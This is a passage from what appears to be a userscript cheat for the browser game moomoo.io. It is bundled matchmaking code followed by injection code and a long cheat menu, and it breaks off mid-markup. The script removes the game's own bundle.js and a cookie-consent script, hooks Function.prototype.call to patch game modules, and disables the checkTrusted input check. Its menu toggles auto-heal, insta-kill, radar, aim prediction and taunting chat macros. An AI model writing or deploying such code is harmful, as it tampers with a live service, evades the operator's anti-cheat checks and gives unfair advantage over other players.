                        // Map the servers to { region, index, gameIndex, gameCount, playerCount, isPrivate } where index is from 0 to (total servers * games per server)
                        // This way, we can decompose the index again later to find the server amd game index
                        var gameIndex = 0;
                        return s.games.map(function(g) {
                            var currentGameIndex = gameIndex++;
                            return {
                                region: s.region,
                                index: s.index * s.games.length + currentGameIndex,
                                gameIndex: currentGameIndex,
                                gameCount: s.games.length,
                                playerCount: g.playerCount,
                                isPrivate: g.isPrivate
                            }
                        });
                    })
                    .filter(function(s) {
                        // Remove private games
                        return !s.isPrivate;
                    })
                    .filter(function(s) {
                        // If private, only find rooms that are empty and have a large enough index
                        if (isPrivate) {
                            return s.playerCount == 0 && s.gameIndex >= s.gameCount / 2;
                        } else {
                            return true;
                        }
                    })
                    .filter(function(s) {
                        // If not a random game mode, filter them to the proper mode
                        if (gameMode == "random") {
                            return true;
                        } else {
                            return gameModeList[s.index % gameModeList.length].key == gameMode;
                        }
                    })
                    .sort(function(a, b) { return b.playerCount - a.playerCount })
                    .filter(function(s) { return s.playerCount < lobbySize });

                    // Reverse the server list so private servers are at the end of the list
                    if (isPrivate) {
                        servers.reverse();
                    }

                    // Handle no available servers
                    if (servers.length == 0) {
                        this.errorCallback("No open servers.");
                        return;
                    }

                    // Pick a random server; `lobbySpread` defines how many top lobbies to spread the players
                    // over
                    var randomSpread = Math.min(lobbySpread, servers.length);
                    var serverIndex = Math.floor(Math.random() * randomSpread);
                    serverIndex = Math.min(serverIndex, servers.length - 1);
                    var rawServer = servers[serverIndex];

                    // Extract the information from the raw server
                    var serverRegion = rawServer.region;
                    var serverIndex = Math.floor(rawServer.index / rawServer.gameCount);
                    var gameIndex = rawServer.index % rawServer.gameCount;
                    this.log("Found server.");

                    // Determine what to do with the information
                    return [serverRegion, serverIndex, gameIndex];
                };

                VultrClient.prototype.connect = function(region, index, game) {
                    // Make sure not connected already
                    if (this.connected) {
                        return;
                    }

                    // Find the server with the given data
                    var server = this.findServer(region, index);
                    if (server == undefined) {
                        this.errorCallback("Failed to find server for region " + region + " and index " + index);
                        return;
                    }

                    this.log("Connecting to server", server, "with game index", game);

                    // Check if the server is full
                    if (server.games[game].playerCount >= this.lobbySize) {
                        this.errorCallback("Server is already full.");
                        return;
                    }

                    // Replace the URL
                    window.history.replaceState(document.title, document.title, this.generateHref(region, index, game, this.password));

                    // Save the server
                    this.server = server;
                    this.gameIndex = game;

                    // Return the address and port
                    this.log("Calling callback with address", this.serverAddress(server.ip), "on port", this.serverPort(server), "with game index", game);
                    this.callback(this.serverAddress(server.ip), this.serverPort(server), game);
                };

                VultrClient.prototype.switchServer = function(region, index, game, password) {
                    // Save switching
                    this.switchingServers = true;

                    // Navigate to the server
                    window.location.href = this.generateHref(region, index, game, password);
                };

                VultrClient.prototype.generateHref = function(region, index, game, password) {
                    region = this.stripRegion(region);

                    // Generate HREF
                    var href = "/?server=" + region + ":" + index + ":" + game;
                    if (password) {
                        href += "&password=" + encodeURIComponent(password);
                    }
                    return href;
                };

                /// Returns the server address for an IP using reverse DNS lookup; turn `forceSecure`
                /// on in order to force the server address to go through Cloudflare
                VultrClient.prototype.serverAddress = function(ip, forceSecure) {
                    // Determine the domain to connect to; this way it connects directly to localhost if needed
                    // "903d62ef5d1c2fecdcaeb5e7dd485eff" is the md5 hash for "127.0.0.1"
                    if (ip == "127.0.0.1" || ip == "7f000001" || ip == "903d62ef5d1c2fecdcaeb5e7dd485eff") {
                        // return "127.0.0.1";
                        return window.location.hostname; // This allows for connection over local IP networks
                    } else if (this.rawIPs) {
                        if (forceSecure) {
                            return "ip_" + this.hashIP(ip) + "." + this.baseUrl;
                        } else {
                            return ip;
                        }
                    } else {
                        return "ip_" + ip + "." + this.baseUrl;
                    }
                };

                /// Returns the port to connect to
                VultrClient.prototype.serverPort = function(server) {
                    // Return dev port if development server
                    if (server.region == 0) {
                        return this.devPort;
                    }

                    // Otherwise return the port depending on the protocol
                    return location.protocol.startsWith("https") ? 443 : 80;
                };

                VultrClient.prototype.processServers = function(serverList) {
                    // Group the servers by region
                    var servers = { };
                    for (var i = 0; i < serverList.length; i++) {
                        var server = serverList[i];

                        // Get or create the list
                        var list = servers[server.region];
                        if (list == undefined) {
                            list = [];
                            servers[server.region] = list;
                        }

                        // Add the server
                        list.push(server);
                    }

                    // Sort the servers
                    for (var region in servers) {
                        // Sort the servers
                        servers[region] = servers[region].sort(function(a, b) { return a.index - b.index });
                    }

                    // Save the servers
                    this.servers = servers;
                };

                // TODO: Merge into VultrManager
                /// Converts an IP to a hex string
                VultrClient.prototype.ipToHex = function(ip) {
                    const encoded = ip.split(".") // Split by components
                    .map((component) =>
                         ("00" + parseInt(component).toString(16)) // Parses the component then converts it to a hex
                         .substr(-2) // Ensures there's 2 characters
                        )
                    .join("") // Join the string
                    .toLowerCase(); // Make sure it's lowercase
                    return encoded;
                };

                // TODO: Merge into VultrManager
                /// Hashes an IP to a cryptographically secure string; it does this by converting
                /// the ip to a hex string then doing an md5 hash on the string; e.g. "102.168.1.128" ->
                /// "c0a80180" -> "f8177f9878f2d00df00e51d786d97c0a"
                VultrClient.prototype.hashIP = function(ip) {
                    return md5(this.ipToHex(ip));
                };

                /// Logs debug information
                VultrClient.prototype.log = function() {
                    if (this.debugLog) {
                        return console.log.apply(undefined, arguments);
                    } else if (console.verbose) {
                        return console.verbose.apply(undefined, arguments);
                    }
                };

                VultrClient.prototype.stripRegion = function(region) {
                    if (region.startsWith("vultr:")) {
                        region = region.slice(6);
                    } else if (region.startsWith("do:")) {
                        region = region.slice(3);
                    }
                    return region;
                };

                window.testVultrClient = function() {
                    var assertIndex = 1;
                    function assert(actual, expected) {
                        actual = `${actual}`;
                        expected = `${expected}`;
                        if (actual == expected) {
                            console.log(`Assert ${assertIndex} passed.`)
                        } else {
                            console.warn(`Assert ${assertIndex} failed. Expected ${expected}, got ${actual}.`)
                        }
                        assertIndex++;
                    }

                    function generateServerList(regions) {
                        var servers = [];
                        for (var region in regions) {
                            var regionServers = regions[region];
                            for (var i = 0; i < regionServers.length; i++) {
                                servers.push({
                                    ip: region + ":" + i,
                                    scheme: "testing",
                                    region: region,
                                    index: i,
                                    games: regionServers[i].map(p => { return { playerCount: p, isPrivate: false }; })
                                });
                            }
                        }
                        return servers;
                    }

                    // Test 1
                    var maxPlayers = 5;
                    var client1 = new VultrClient("test.io", -1, maxPlayers, 1, false);
                    var lastError = undefined;
                    client1.errorCallback = function(error) { lastError = error };
                    client1.processServers(generateServerList({
                        1: [[0, 0, 0, 0], [0, 0, 0, 0]],
                        2: [[maxPlayers, 1, 0, 0], [0, 0, 0, 0]],
                        3: [[maxPlayers, 0, 1, maxPlayers], [0, 0, 0, 0]],
                        4: [[maxPlayers, 1, 1, maxPlayers], [1, 0, 0, 0]],
                        5: [[maxPlayers, 1, 1, maxPlayers], [1, 0, maxPlayers-1, 0]],
                        6: [[maxPlayers, maxPlayers, maxPlayers, maxPlayers], [2, 3, 1, 4]],
                        7: [[maxPlayers, maxPlayers, maxPlayers, maxPlayers], [maxPlayers, maxPlayers, maxPlayers, maxPlayers]],
                    }));
                    assert(client1.seekServer(1, false), [1, 0, 0]);
                    assert(client1.seekServer(1, true), [1, 1, 3]);
                    assert(client1.seekServer(2, false), [2, 0, 1]);
                    assert(client1.seekServer(2, true), [2, 1, 3]);
                    assert(client1.seekServer(3, false), [3, 0, 2]);
                    assert(client1.seekServer(3, true), [3, 1, 3]);
                    assert(client1.seekServer(4, false), [4, 0, 1]);
                    assert(client1.seekServer(4, true), [4, 1, 3]);
                    assert(client1.seekServer(5, false), [5, 1, 2]);
                    assert(client1.seekServer(5, true), [5, 1, 3]);
                    assert(client1.seekServer(6, false), [6, 1, 3]);
                    assert(client1.seekServer(6, true), undefined);
                    assert(client1.seekServer(7, false), undefined);
                    assert(client1.seekServer(7, true), undefined);

                    console.log("Tests passed.");
                };

                // FLATMAP:
                var concat = function(x, y) { return x.concat(y) };

                var flatMap = function(f, xs) { return xs.map(f).reduce(concat, []); };

                Array.prototype.flatMap = function(f) {
                    return flatMap(f, this)
                };

                module.exports = VultrClient;


                /***/ })

            /******/ });
    };

    let execOpen = false;
    GM_getTabs(e => {
        let pageLoaded = Object.keys(e).length > 0;
        !pageLoaded && (() => {
            execOpen = true;
        })();
    });

    let removals = 0;
    let observer = new MutationObserver(function(mutations) {
        mutations.forEach(function(mutation) {
            mutation.addedNodes.forEach(function(node) {
                if (node.nodeName == "SCRIPT") {
                    if (node.src == window.location.protocol + "//" + window.location.hostname + "/bundle.js"
                        || /(cookiepro.com)/.exec(node.src)) {
                        removals++;
                        //console.log('murdering');
                        try {
                            node.parentNode.removeChild(node);
                            //console.log('method 1');
                        } catch(e) {
                            node.remove();
                            //console.log('method 2');
                        };
                        removals == 2 && (observer.disconnect());
                    };
                };
            });
        });
    });
    observer.observe(document, {
        attributes: true,
        characterData: true,
        childList: true,
        subtree: true
    });

    let globalactions = () => {
        let originalrotate = CanvasRenderingContext2D.prototype.rotate; CanvasRenderingContext2D.prototype.rotate = function() {(arguments[0] >= Number.MAX_SAFE_INTEGER || (arguments[0] <= -Number.MAX_SAFE_INTEGER)) && (arguments[0] = 0);
                                                                                                                                originalrotate.apply(this, arguments)}; try {insert_0000000(true, "moomoo.io");} catch(e){};
        var ext = false; document.addEventListener('keydown', function (e) { if (e.key === "`") { $('#mainMenu').toggle(); ext = !ext}}); window.zoomFactor = 1; (() => {
            function linker(value) {
                let x = [value];
                x.toString = ()=>x[0];
                return x;
            }
            let OGx,
                OGy;
            let x = new Event('resize');
            let addListener = window.addEventListener;
            window.addEventListener = function(type, cb, ...args){
                if(type === 'resize'){
                    let temp = cb;
                    cb = ()=>temp({isTrusted: !0});
                }
                addListener(type, cb, ...args);
            }
            function setZoom ({code}) {
                if(code != 'Minus' && code != 'Equal') return;
                zoomFactor *= 0.95 ** (code == 'Minus' ? -1 : 1);
                window.config.maxScreenWidth[0] = OGx * zoomFactor;
                window.config.maxScreenHeight[0] = OGy * zoomFactor;
                window.dispatchEvent(x);
            };
            addListener('keydown', setZoom);
            Function.prototype._call = Function.prototype.call;
            Function.prototype.call = function(){
                if(arguments[1] && arguments[1].i == 21 && arguments[3] && arguments[3].toString && arguments[3].toString().match(/^\s*function n\(i\)/)){
                    let temp = arguments[3];
                    arguments[3] = function (number) {
                        let val = temp(number);
                        if(number === 19) {
                            OGx = parseInt(val.maxScreenWidth.toString());
                            OGy = parseInt(val.maxScreenHeight.toString());
                            val.maxScreenHeight = linker(OGy);
                            val.maxScreenWidth = linker(OGx);

                            val.maxPlayers = 50;
                            window.data = val;
                        } else if(number === 42) {
                            val.checkTrusted = (cb)=>cb;
                        } else if (number === 45) {
                            val.weapons.forEach((e, index) => e.pre && (val.weapons[index].pre = null));
                            val.list.forEach((e, index) => e.pre && (val.list[index].pre = null));
                            items = val;
                            window.items = val;
                        }
                        return val;
                    }
                    this.call = this._call;
                }
                return this._call(...arguments);
            }
        })();
    };
    globalactions();

    let _init = (_skip = false) => {

        var switched = 0;
        var swsInt = setInterval(()=>{
            switch (document.readyState) {
                case "loading":
                    break;
                case "interactive":
                    switched = 1;
                    break;
                case "complete":
                    clearInterval(swsInt);
                    break;
            };
        }, 0);

        var INT = setInterval(()=>{
            if (switched == 1 || _skip) {
                clearInterval(INT);

                function _toConsumableArray(e) {
                    if (Array.isArray(e)) {
                        for (var n = 0, o = Array(e.length); n < e.length; n++) o[n] = e[n];
                        return o
                    }
                    return Array.from(e)
                }
                var heal1, hType, heal2, insta, radar, sAim, ahat, respawn, offence, defence, speed, derp, deathCrash, pType, onclick, oHat, oAcc, otHat, otAcc, dHat, dAcc, tHat, tAcc, eHat, eAcc, antiBoostSpike, antiInsta1, antiInsta2, antiInsta3, antiInsta4, snHat, snAcc, srHat, srAcc, ssHat, ssAcc, kSpikeCircle, kTrapCircle, iAim, iReload, iReverse, iSwitch, iHat1, iAcc1, iHat2, iAcc2, iHat3, iAcc3, kSpike = 86
                , kTrap = 70
                , kTurret = 72
                , kWindmill = 78
                , kHeal = 81
                , kBS = 76
                , kBM = 79
                , aChat = "</E\\>Project Epsilon</E\\>"
                , acBool = !1
                , acFill = "-"
                , iChat = "</E\\>Taste The INSTA</E\\>"
                , icBool = !1
                , rChat = "</E\\>Reloaded</E\\>"
                , ezBool = !1
                , ezChat = "</E\\>GG You Tried</E\\>"
                , irBool = !1
                , cPlayer = !1
                , wLag = !0
                , TankGearKey = 67
                , BullHelmetKey = 90
                , SoldierHelmetKey = 75
                , TurretKey = 66
                , BoosterHatKey = 77
                , uneqiup = 16
                , EMPGearKey = 73;
                setTimeout(function () {
                    hType = "4", heal2 = !0, insta = !0, radar = !0, sAim = !0, ahat = true, respawn = !0, offence = !1, defence = !0, speed = !0, derp = !1, deathCrash = !1, pType = "0", onclick = !1, oHat = 7, oAcc = 18, otHat = 53, otAcc = 13, dHat = 6, dAcc = 21, tHat = 40, tAcc = 21, eHat = 22, eAcc = 19, antiBoostSpike = !0, antiInsta1 = !0, antiInsta2 = !1, antiInsta3 = !1, antiInsta4 = !1, snHat = 12, snAcc = 11, srHat = 31, srAcc = 11, ssHat = 15, ssAcc = 11, iAim = !0, iReload = !1, iReverse = !1, iSwitch = !0, iHat1 = 7, iAcc1 = 18, iHat2 = 53, iAcc2 = 13, iHat3 = 6, iAcc3 = 21, (heal1 = !0) && (document.getElementById("heal1")
            .checked = !0), heal2 && (document.getElementById("heal2")
                                      .checked = !0), insta && (document.getElementById("insta")
                                                                .checked = !0), radar && (document.getElementById("radar")
                                                                                          .checked = !0, document.getElementById("canvas")
                                                                                          .style.zIndex = "1", pos.style.zIndex = "1"), sAim && (document.getElementById("sAim")
                                                                                                                                                 .checked = !0), ahat && (document.getElementById("ahat")
            .checked = !0), respawn && (document.getElementById("respawn")
                                        .checked = !0), onclick && (document.getElementById("onclick")
                                                                    .checked = !0), offence && (document.getElementById("offence")
                                                                                                .checked = !0), defence && (document.getElementById("defence")
                                                                                                                            .checked = !0), speed && (document.getElementById("speed")
                                                                                                                                                      .checked = !0), antiBoostSpike && (document.getElementById("antiBoostSpike")
            .checked = !0), antiInsta1 && (document.getElementById("antiInsta1")
                                           .checked = !0), antiInsta2 && (document.getElementById("antiInsta2")
                                                                          .checked = !0), antiInsta3 && (document.getElementById("antiInsta3")
                                                                                                         .checked = !0), antiInsta4 && (document.getElementById("antiInsta4")
                                                                                                                                        .checked = !0), iAim && (document.getElementById("iAim")
            .checked = !0), iReload && (document.getElementById("iReload")
                                        .checked = !0), iReverse && (document.getElementById("iReverse")
                                                                     .checked = !0), iSwitch && (document.getElementById("iSwitch")
                                                                                                 .checked = !0), acBool && (document.getElementById("acBool")
                                                                                                                            .checked = !0), icBool && (document.getElementById("icBool")
            .checked = !0), irBool && (document.getElementById("irBool")
                                       .checked = !0), cPlayer && (document.getElementById("cPlayer")
                                                                   .checked = !0), ezBool && (document.getElementById("ezBool")
                                                                                              .checked = !0), wLag && (document.getElementById("wLag")
                                                                                                                       .checked = !0), document.getElementById("hType")
                        .value = hType, document.getElementById("pType")
                        .value = pType, document.getElementById("oHat")
                        .value = oHat, document.getElementById("oAcc")
                        .value = oAcc, document.getElementById("otHat")
                        .value = otHat, document.getElementById("otAcc")
                        .value = otAcc, document.getElementById("dHat")
                        .value = dHat, document.getElementById("dAcc")
                        .value = dAcc, document.getElementById("tHat")
                        .value = tHat, document.getElementById("tAcc")
                        .value = tAcc, document.getElementById("eHat")
                        .value = eHat, document.getElementById("eAcc")
                        .value = eAcc, document.getElementById("snHat")
                        .value = snHat, document.getElementById("snAcc")
                        .value = snAcc, document.getElementById("ssHat")
                        .value = ssHat, document.getElementById("ssAcc")
                        .value = ssAcc, document.getElementById("srHat")
                        .value = srHat, document.getElementById("srAcc")
                        .value = srAcc, document.getElementById("iHat1")
                        .value = iHat1, document.getElementById("iAcc1")
                        .value = iAcc1, document.getElementById("iHat2")
                        .value = iHat2, document.getElementById("iAcc2")
                        .value = iAcc2, document.getElementById("iHat3")
                        .value = iHat3, document.getElementById("iAcc3")
                        .value = iAcc3
                }, 1e3), window.onbeforeunload = null;
                var id, card = document.querySelector("#setupCard")
                , button = document.createElement("button")
                , menu = document.createElement("div")
                , styles = document.createElement("style");
                menu.classList.add("i-container"), menu.id = "mm-menu-container", styles.type = "text/css",

                    styles.innerHTML = `
.circle{
opacity:20%;
position: absolute;
top: 50%;
left: 60%;
transform: translate(-50%, -50%);
height: 300px;
width: 300px;
}
.circle:before{
content: '';
position: absolute;
top:0px;
left:0px;
right:0px;
bottom: 0px;
border: 20px solid #fff;
border-radius:50%;
box-shadow: 0 0 50px #0f0,0 0 50px #0f0 inset;
animation: animate 5s linear infinite;
}.square{
opacity:50%;
position: fixed;
top: 100%;
left: 0%;
transform: translate(15px, -155px);
height: 130px;
width: 130px;
filter: url(#wavy);
}
.square:before{
content: '';
position: absolute;
top:0px;
left:0px;
right:0px;
bottom: 0px;
border: 10px solid #fff;
box-shadow: 0 0 50px #0f0,0 0 50px #0f0 inset;
animation: animate 5s linear infinite;
}
@keyframes animate{
0%{
box-shadow: 0 0 50px #0f0,0 0 50px #0f0 inset;
filter: hue-rotate(0deg);
}
20%{
box-shadow: 0 0 60px #0f0,0 0 60px #0f0 inset;
}
40%{
box-shadow: 0 0 40px #0f0,0 0 40px #0f0 inset;
}
60%{
box-shadow: 0 0 80px #0f0,0 0 80px #0f0 inset;
}
80%{
box-shadow: 0 0 100px #0f0,0 0 100px #0f0 inset;
}
100%{
box-shadow: 0 0 50px #0f0,0 0 50px #0f0 inset;
filter: hue-rotate(360deg);
}
}
svg{
width:0;
height:0;
}
.open-menu-button {
background-color: #00FFFF;
margin-top: 5px;
}
.open-menu-button:hover {
background-color: #00D1D1;
}
.keyPressLow {
margin-left: 8px;
font-size: 16px;
margin-right: 8px;
height: 25px;
width: 50px;
background-color: #fcfcfc;
border-radius: 3.5px;
text-align: center;
color: #4a4a4a;
border: 0.5px solid #f2f2f2;
}
#mm-menu-container {
user-select: none;
font-size: 14px;
overflow: hidden;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: fixed;
top: 50%;
left: 50%;
height: 366px;
width: 500px;
margin-top: -183px;
margin-left: -250px;
z-index: 2147000000;
}
.i-checkbox-label {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
display: block;
margin: 4px;
}
.i-checkbox-label {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
}
#mm-main-menu {
font-size: 12px;
user-select: none;
background-color: rgba(100, 100, 100, 0.4);
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-hathack-menu {
font-size: 12px;
user-select: none;
background-color: rgba(100, 100, 100, 0.4);
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-offense-menu {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
background-color: rgba(100, 100, 100, 0.4);
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: block;
}
#mm-defense-menu {
font-size: 12px;
user-select: none;
color: #fff;
background-color: rgba(100, 100, 100, 0.4);
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-support-menu {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
background-color: rgba(100, 100, 100, 0.4);
box-sizing: border-box;
position: relative;
height: 100%;
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-hatmacro-menu {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
background-color: rgba(100, 100, 100, 0.4);
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-instakill-menu {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
background-color: rgba(100, 100, 100, 0.4);
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-controls-menu {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
background-color: rgba(100, 100, 100, 0.4);
box-sizing: border-box;
position: relative;
height: 100%;
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
#mm-chat-menu {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
height: 100%;
background-color: rgba(100, 100, 100, 0.4);
padding: .5em 1em;
border-top: none;
margin-left: 130px;
display: none;
}
.i-tab-container {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
width: 100%;
height: 100%;
background-color: rgba(100, 100, 100, 0.4)
}
.i-tab-menu, .sidebar {
font-size: 12px;
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
position: relative;
background-color: rgba(120, 120, 120, 0.4);
display: block;
overflow: auto;
float: left;
width: 130px;
height: 100%;
box-shadow: 0 2px 5px 0 rgba(0,0,0,.16),0 2px 10px 0 rgba(0,0,0,.12);
}
.i-tab-menu-item {
font-size: 12px;
user-select: none;
text-decoration: none;
font-family: Verdana,sans-serif;
box-sizing: border-box;
color: #d15151;
}
.i-tab-menu-item:hover {
background-color: rgb(77, 73, 73, 0.5)
!important;
}
#mm-main-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-hathack-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-offense-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-defense-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-support-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-instakill-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-hatmacro-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-changewepaon-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
.i-tab-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
#mm-controls-menu-item {
user-select: none;
color: #fff;
font-family: Verdana,sans-serif;
box-sizing: border-box;
float: left;
background-color: inherit;
padding: 8px 8px;
margin: 0;
border: none;
font-size: 14px;
text-align: center;
outline: 0;
transition: .3s;
width: 100%;
}
.is-active {
background-color: rgb(129, 34, 34, 0.5) !important;
}
.keyPressLow {
margin-left: 8px;
font-size: 16px;
margin-right: 8px;
height: 25px;
width: 50px;
background-color: #fcfcfc;
border-radius: 3.5px;
border: none;
text-align: center;
color: #4A4A4A;
border: 0.5px solid #f2f2f2;
}
.menuPrompt {
font-size: 17px;
font-family: 'Hammersmith One';
color: #4A4A4A;
flex: 0.2;
text-align: center;
margin-top: 10px;
display: inline-block;
}
.modal {
display: none;
position: fixed;
z-index: 1;
left: 0;
top: 0;
overflow: auto;
height: 100%;
width: 100%;
}
.modalx {
display: none;
position: fixed;
z-index: 1;
left: 0;
top: 0;
overflow: auto;
height: 100%;
width: 100%;
}
.Msgmodal {
display: none;
position: fixed;
z-index: 1;
left: 0;
top: 0;
overflow: auto;
height: 100%;
width: 100%;
}
.modal-content {
margin: 10% auto;
width: 40%;
box-shadow: 0 5px 8px 0 rgba(0, 0, 0, 0.2), 0 7px 20px 0 rgba(0, 0, 0, 0.17);
font-size: 14px;
line-height: 1.6;
}
.modal-headerx h2, .modal-footerx h3 {
margin: 0;
}
.modal-headerx {
background: #404040;
padding: 15px;
color: #fff;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
}
.modal-footerx {
background: #404040;
padding: 10px;
color: #fff;
text-align: center;
border-bottom-left-radius: 5px;
border-bottom-right-radius: 5px;
}
.modal-headerwtf h2, .modal-footerwtf h3 {
margin: 0;
}
.modal-headerwtf {
background: #404040;
padding: 15px;
color: #fff;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
}
.modal-footerwtf {
background: #404040;
padding: 10px;
color: #fff;
text-align: center;
border-bottom-left-radius: 5px;
border-bottom-right-radius: 5px;
}
.modal-header h2, .modal-footer h3 {
margin: 0;
}
.modal-header {
background: #404040;
padding: 15px;
color: #fff;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
}
.modal-body {
padding: 10px 20px;
background: #fff;
}
.modal-footer {
background: #404040;
padding: 10px;
color: #fff;
text-align: center;
border-bottom-left-radius: 5px;
border-bottom-right-radius: 5px;
}
.closeBtn {
color: #ccc;
float: right;
font-size: 30px;
color: #fff;
}
.closeBtn:hover, .closeBtn:focus {
color: #dd4a42;
text-decoration: none;
cursor: pointer;
}
.closeBtnx {
color: #ccc;
float: right;
font-size: 30px;
color: #fff;
}
.closeBtnx:hover, .closeBtnx:focus {
color: #dd4a42;
text-decoration: none;
cursor: pointer;
}
.MsgcloseBtn {
color: #ccc;
float: right;
font-size: 30px;
color: #fff;
}
.MsgcloseBtn:hover, .MsgcloseBtn:focus {
color: #dd4a42;
text-decoration: none;
cursor: pointer;
}
/* Customize the label (the container) */
.container {
display: block;
position: relative;
padding-left: 35px;
margin-bottom: 12px;
cursor: pointer;
font-size: 16px;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
/* Hide the browser's default checkbox */
.container input {
position: absolute;
opacity: 0;
cursor: pointer;
height: 0;
width: 0;
}
/* Create a custom checkbox */
.checkmark {
position: absolute;
top: 0;
left: 0;
height: 25px;
width: 25px;
background-color: #eee;
}`;

                menu.innerHTML = `
<div class="circle">
<svg>
<filter id = "wavy">
<feTurbulence x="0" y="0" baseFrequency="0.5" numOctaves="5" seed="2"/>
<feDisplacementMap in="SourceGraphic" scale="30"/>
</filter>
</svg>
</div>
<div class="i-tab-container">
<div class="i-tab-menu sidebar">
<a><h2 class="i-tab-menu-item">Settings</h2></a>
<button id="mm-main-menu-item" class="i-tab-menu-item is-active">Main</button>
<button id="mm-offense-menu-item" class="i-tab-menu-item">Offense</button>
<button id="mm-defense-menu-item" class="i-tab-menu-item">Defense</button>
<button id="mm-support-menu-item" class="i-tab-menu-item">Support</button>
<button id="mm-controls-menu-item" class="i-tab-menu-item">Controls</button>
<button id="mm-instakill-menu-item" class="i-tab-menu-item">InstaKill</button>
<button id="mm-instakill-menu-item" class="i-tab-menu-item">Chat</button>
<button id="mm-instakill-menu-item" class="i-tab-menu-item">HatMacro</button>
</div>
<div id="mm-main-menu" class="i-tab-content" style="overflow-y: scroll;">
<h3>Main</h3>
<div>
<label class="AutoHeal"><input id="heal1" type="checkbox" class="i-checkbox" />Auto Heal</label>
</div>
<form action="/action_page.php">
<label for="acc">Heal Type: </label>
<select name="hat" id="hType">
<option value="0">Normal</option>
<option value="1">Linear</option>
<option value="2">Quadratic</option>
<option value="3">Interval</option>
<option value="4">Slow</option>
<option value="5">FAST</option>
</select>
</form>
<div>
<label class="AutoHeal"><input id="heal2" type="checkbox" class="i-checkbox" />Double Heal</label>
</div>
<div>
<label class="InstaKill"><input id="insta" type="checkbox" class="i-checkbox" />Insta-Kill</label>
</div>
<div>
<label class="radar"><input id="radar" type="checkbox" class="i-checkbox" />Radar</label>
</div>
<div>
<label class="radar"><input id="sAim" type="checkbox" class="i-checkbox" />Target Prediction</label>
</div>
<div>
<label class="radar"><input id="ahat" type="checkbox" class="i-checkbox" checked/>Auto-Hat</label>
</div>
<div>
<label class="radar"><input id="respawn" type="checkbox" class="i-checkbox" />Auto-Respawn</label>
</div>
<div style="overflow-y: scroll;">
Beta anti-insta? <input id="extraAnti" type="checkbox" checked><br>
Beta anti-insta 2? (W.I.P. don't use) <input id="newAnti" type="checkbox"><br>
("Warning : Xms" message) Ping Warning? <input id="doMSWarning" type="checkbox" checked><br>
Respawn gold bots? <input id="respawnGBots" type="checkbox" checked><br>
Anti-age insta? <input id="doAntiAge" type="checkbox" checked><br>
